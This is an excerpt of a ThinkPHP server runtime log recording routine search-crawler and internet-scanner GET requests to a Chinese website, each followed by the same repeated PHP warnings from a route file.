error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-22T05:29:57+08:00 ] 116.179.37.242 GET www.51tianwei.com/ [运行时间:0.412525s] [吞吐率:2.42req/s] [内存消耗:161.12kb] [文件加载:33] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => NULL, 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => 'www.51tianwei.com', 'user-agent' => 'Mozilla/5.0 (compatible; Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html)', 'accept' => 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7', 'accept-language' => 'zh-CN,en;q=0.9,en-GB;q=0.8,en-US;q=0.7,fr;q=0.6', 'connection' => 'Close', 'upgrade-insecure-requests' => '1', 'accept-encoding' => 'gzip', ) [ info ] [ PARAM ] array ( ) [ info ] [ RUN ] app\index\controller\Index->index[ /data/wwwroot/tianwei/think/application/index/controller/Index.php ] [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-22T05:50:14+08:00 ] 111.7.96.149 GET 59.110.137.245:80/ [运行时间:0.001586s] [吞吐率:630.53req/s] [内存消耗:159.27kb] [文件加载:33] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => NULL, 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245:80', 'user-agent' => 'curl/7.64.1', 'accept' => '*/*', ) [ info ] [ PARAM ] array ( ) [ info ] [ RUN ] app\index\controller\Index->index[ /data/wwwroot/tianwei/think/application/index/controller/Index.php ] [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-22T05:55:21+08:00 ] 4.255.100.159 GET 59.110.137.245/ [运行时间:0.002088s] [吞吐率:478.91req/s] [内存消耗:159.41kb] [文件加载:33] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => NULL, 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'Mozilla/5.0 zgrab/0.x', 'accept' => '*/*', 'accept-encoding' => 'gzip', ) [ info ] [ PARAM ] array ( ) [ info ] [ RUN ] app\index\controller\Index->index[ /data/wwwroot/tianwei/think/application/index/controller/Index.php ] [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-22T06:02:14+08:00 ] 103.194.185.114 GET 59.110.137.245/effect/js/transform.js [运行时间:0.002521s] [吞吐率:396.66req/s] [内存消耗:133.02kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'effect', 2 => 'js', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0', 'accept-encoding' => 'gzip, deflate', 'accept' => '*/*', 'connection' => 'keep-alive', 'content-type' => 'application/x-www-form-urlencoded', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-22T06:12:59+08:00 ] 59.126.172.248 GET 127.0.0.1/ [运行时间:0.001471s] [吞吐率:679.90req/s] [内存消耗:159.85kb] [文件加载:33] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => NULL, 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => '127.0.0.1', 'user-agent' => 'Mozilla/5.0 (Linux; U; Android 4.0.3; ko-kr; LG-L160L Build/IML74K) AppleWebkit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30', 'connection' => 'close', ) [ info ] [ PARAM ] array ( ) [ info ] [ RUN ] app\index\controller\Index->index[ /data/wwwroot/tianwei/think/application/index/controller/Index.php ] [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-22T06:16:57+08:00 ] 43.135.185.59 GET 59.110.137.245/ [运行时间:0.002024s] [吞吐率:494.09req/s] [内存消耗:161.91kb] [文件加载:33] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => NULL, 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1', 'accept' => 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7', 'accept-encoding' => 'gzip', 'accept-language' => 'zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7', 'cache-control' => 'no-cache', 'connection' => 'keep-alive, close', 'pragma' => 'no-cache', 'upgrade-insecure-requests' => '1', ) [ info ] [ PARAM ] array ( ) [ info ] [ RUN ] app\index\controller\Index->index[ /data/wwwroot/tianwei/think/application/index/controller/Index.php ] [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-22T06:40:11+08:00 ] 125.228.214.129 GET 127.0.0.1/ [运行时间:0.001858s] [吞吐率:538.21req/s] [内存消耗:159.85kb] [文件加载:33] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => NULL, 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => '127.0.0.1', 'user-agent' => 'Mozilla/5.0 (Linux; U; Android 4.0.3; ko-kr; LG-L160L Build/IML74K) AppleWebkit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30', 'connection' => 'close', ) [ info ] [ PARAM ] array ( ) [ info ] [ RUN ] app\index\controller\Index->index[ /data/wwwroot/tianwei/think/application/index/controller/Index.php ] [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-22T06:45:54+08:00 ] 179.43.191.98 GET 59.110.137.245:80/ [运行时间:0.001533s] [吞吐率:652.30req/s] [内存消耗:159.24kb] [文件加载:33] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => NULL, 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245:80', ) [ info ] [ PARAM ] array ( ) [ info ] [ RUN ] app\index\controller\Index->index[ /data/wwwroot/tianwei/think/application/index/controller/Index.php ] [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] [ error ] [8]未定义数组索引: HTTP_USER_AGENT[/data/wwwroot/tianwei/think/runtime/route.php:32] --------------------------------------------------------------- [ 2024-10-22T07:10:04+08:00 ] 206.168.34.205 GET 59.110.137.245/ [运行时间:0.021199s] [吞吐率:47.17req/s] [内存消耗:159.55kb] [文件加载:33] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => NULL, 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)', 'accept' => '*/*', 'accept-encoding' => 'gzip', ) [ info ] [ PARAM ] array ( ) [ info ] [ RUN ] app\index\controller\Index->index[ /data/wwwroot/tianwei/think/application/index/controller/Index.php ] [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31]